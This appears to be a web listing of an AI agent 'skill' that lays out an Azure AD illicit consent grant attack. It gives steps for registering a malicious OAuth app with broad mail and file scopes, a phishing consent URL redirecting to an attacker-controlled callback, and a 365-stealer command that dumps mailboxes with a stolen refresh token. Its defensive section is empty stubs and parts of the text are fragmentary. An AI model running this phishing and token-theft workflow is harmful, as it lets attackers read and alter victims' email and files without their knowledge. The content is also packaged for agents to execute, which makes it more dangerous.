Azure ad illicit consent grant

From ShulkwiSEC/bb-huge · View interactive version

Azure ad illicit consent grant is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Exploit Illicit Consent Grants in Azure Active Directory (Entra ID). This skill covers crafting a malicious OAuth application to trick victims into granting broad permissions (like reading emails, modifying files) without requiring their password or MFA.

How to use this skill

Skill file

Azure AD Illicit Consent Grant Attack

When to Use

Prerequisites

Workflow

Phase 1: Registering the Malicious Application

# ```

### Phase 2: Defining Scopes and Permissions

// // {

"requestedPermissions": [

{ "id": "Mail.ReadWrite", "type": "Scope" },

{ "id": "Files.ReadWrite.All", "type": "Scope" },

{ "id": "User.Read", "type": "Scope" }

]

}


### Phase 3: Crafting the Consent Link (The Phish)

# https://login.microsoftonline.com/common/oauth2/v2.0/authorize?

client_id=ATTACKER_APP_ID

&response_type=code

&redirect_uri=https://attacker-controlled-site.com/callback

&response_mode=query

&scope=Mail.ReadWrite%20Files.ReadWrite.All%20User.Read%20offline_access

&state=12345


### Phase 4: Harvesting the Tokens and Accessing Data

python3 365-stealer.py --refresh-token [STOLEN_REFRESH_TOKEN] --dump-mail


#### Decision Point 🔀

flowchart TD

A[Send Phishing Link ] --> B{User Consents? ]}

B -->|Yes| C[Receive Auth Code ]

B -->|No| D[Revise Pretext ]

C --> E[Exchange for Token ]


## 🔵 Blue Team Detection & Defense
- **Restrict App Consent**: - **Monitor Azure AD Audit Logs**: **Defend against Oauth Phishing**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format

Azure Ad Illicit Consent Grant — Assessment Report

============================================================

Target: [Target identifier]

Assessor: [Operator name]

Date: [Assessment date]

Scope: [Authorized scope]

MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:

[Finding 1]: [Severity] — [Brief description]

[Finding 2]: [Severity] — [Brief description]

Detailed Results:

Phase 1: [Phase name]

Phase 2: [Phase name]

Risk Rating: [Critical/High/Medium/Low/Informational]

Recommendations:

1. [Immediate remediation step]

2. [Long-term hardening measure]

3. [Monitoring/detection improvement]

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.